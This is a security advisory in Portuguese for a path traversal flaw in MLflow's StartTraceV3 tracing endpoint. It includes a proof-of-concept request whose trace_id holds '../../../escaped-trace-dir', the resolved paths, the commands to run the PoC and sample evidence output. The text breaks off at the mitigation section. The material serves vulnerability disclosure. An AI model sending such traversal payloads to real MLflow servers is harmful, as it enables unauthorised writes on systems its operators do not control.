
MLflow <=3.17.1 permite, por meio de path traversal, a escrita de arquivos de trace fora do diretório pretendido.
<= 3.17.1 StartTraceV3 Path TraversalSeveridade: Alta, CVSS 3.1 8.2
Vetor: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
Afetado: Versões do MLflow <= 3.17.1 ao usar o backend de rastreamento FileStore
Componente: API de Tracing do MLflow, StartTraceV3 / FileStore.start_trace()
CWE: CWE-22 (Limitação Imprópria de um Nome de Caminho a um Diretório Restrito), CWE-23 (Path Traversal Relativo), CWE-73 (Controle Externo de Nome de Arquivo ou Caminho)
Descoberto e reportado por: Sai Teja Erukude
O MLflow aceita um trace_info.trace_id controlado pelo cliente através da
API de tracing StartTraceV3. Quando o backend de rastreamento é o FileStore, esse ID é
usado na construção de caminhos do sistema de arquivos sem rejeitar segmentos de travessia como
../.
Um atacante pode enviar um trace ID como ../../../escaped-trace-dir para
escapar do diretório de traces do experimento pretendido. O MLflow então cria
arquivos relacionados a traces no diretório resolvido fora da árvore de armazenamento de traces.
Quando o endpoint de tracing é exposto sem autenticação ou restrições de acesso, um cliente não autenticado pode influenciar a localização no sistema de arquivos dos arquivos de trace controlados pelo MLflow em um servidor com backend FileStore, sujeito às permissões de sistema de arquivos do processo do servidor. O PoC incluído usa o cliente de teste local do Flask; ele não testa a exposição de rede de uma implantação ou a configuração de autenticação.
O PoC demonstra gravações fora do diretório de traces do experimento pretendido:
trace_info.yaml, contendo informações de trace fornecidas pelo cliente.request_metadata/poc_metadata, contendo metadados controlados pelo atacante.tags/poc_tag, contendo um valor de tag controlado pelo atacante.Isso afeta a integridade ao permitir que dados da requisição controlem onde os arquivos relacionados a traces são gravados. Diretórios e arquivos inesperados fora da árvore de armazenamento de traces também podem causar impacto limitado na disponibilidade. A gravação demonstrada usa os formatos de arquivo e nomes de arquivo de trace do MLflow; ela não estabelece conteúdos arbitrários de arquivos, execução de código ou impacto na confidencialidade.
O relatório atribui as seguintes métricas CVSS 3.1:
| Métrica | Valor |
|---|---|
| Vetor de Ataque (AV) | Rede (N) |
| Complexidade de Ataque (AC) | Baixa (L) |
| Privilégios Necessários (PR) | Nenhum (N) |
| Interação do Usuário (UI) | Nenhuma (N) |
| Escopo (S) | Inalterado (U) |
| Confidencialidade (C) | Nenhuma (N) |
| Integridade (I) | Alta (H) |
| Disponibilidade (A) | Baixa (L) |
O caminho da requisição vulnerável é:
POST /api/3.0/mlflow/traces
-> _start_trace_v3()
-> TraceInfo.from_proto(...)
-> FileStore.start_trace(trace_info)
-> filesystem path construction using trace_info.trace_id
-> directory creation and trace information, metadata, and tag writes
A requisição fornece o ID dentro de trace.trace_info:
{
"trace": {
"trace_info": {
"trace_id": "../../../escaped-trace-dir",
"trace_location": {
"type": "MLFLOW_EXPERIMENT",
"mlflow_experiment": {
"experiment_id": "0"
}
},
"trace_metadata": {
"poc_metadata": "attacker-controlled metadata"
},
"tags": {
"poc_tag": "attacker-controlled tag"
}
}
}
}
Este trecho mostra os campos relevantes para a travessia. O executor constrói a solicitação completa, incluindo o estado de rastreamento, o carimbo de data/hora e os campos de pré-visualização.
O ID controlado pelo cliente produz a seguinte resolução de caminho relativa ao diretório PoC:
Expected trace storage: mlruns/0/traces/
Supplied trace ID: ../../../escaped-trace-dir
Joined trace path: mlruns/0/traces/../../../escaped-trace-dir/
Resolved trace path: escaped-trace-dir/
A resposta salva retorna HTTP 200 e preserva o trace ID malicioso.
Os arquivos resultantes ficam ao lado de mlruns/, fora do diretório de trace
de experimento pretendido.
run_poc.py constrói uma requisição StartTraceV3 maliciosa, configura
um FileStore local, invoca a rota HTTP real do MLflow através do cliente de teste do Flask e registra a resposta e as evidências do sistema de arquivos. Ele exercita a
rota sem iniciar um servidor de rede em escuta.
python -m venv .venv
.\.venv\Scripts\Activate.ps1
python -m pip install -r requirements.txt
python -B run_poc.py
Para imprimir o resultado legível por máquina:
python -B run_poc.py --json
O conteúdo de evidências salvo contém estes resultados, abreviados aqui:
{
"package": {
"distribution": "mlflow",
"version": "3.17.1"
},
"endpoint": "/api/3.0/mlflow/traces",
"status_code": 200,
"malicious_trace_id": "../../../escaped-trace-dir",
"checks": {
"http_success": true,
"trace_info_written_outside_traces_dir": true,
"trace_metadata_file_written": true,
"tag_file_written": true
},
"success": true
}
O runner salva:
evidence/start-trace-request.json:
o corpo completo da requisição.evidence/start-trace-response.json:
a resposta do servidor.evidence/escaped-trace-info.yaml:
uma cópia das informações de trace gravadas fora do diretório de trace.evidence/summary.json:
a versão do pacote, os caminhos resolvidos, o código de status e os resultados da verificação.success: true e código de saída 0 significam que a travessia foi reproduzida. Uma verificação com falha
retorna código de saída 1; isso, por si só, não prova que uma versão está corrigida.
O payload grava dados de trace de demonstração em escaped-trace-dir/ dentro
do diretório do PoC. O runner também grava mlruns/ e evidence/; executá-lo novamente
substitui as evidências salvas. Use uma cópia nova ao coletar novos resultados,
pois o runner verifica a existência de arquivos que podem já existir de uma execução anterior.
Caminhos absolutos nas evidências salvas identificam o ambiente de reprodução
original e serão diferentes em um novo checkout.
Um vídeo de demonstração local está incluído.
Valide os IDs de trace na fronteira do FileStore antes de construir caminhos ou criar diretórios: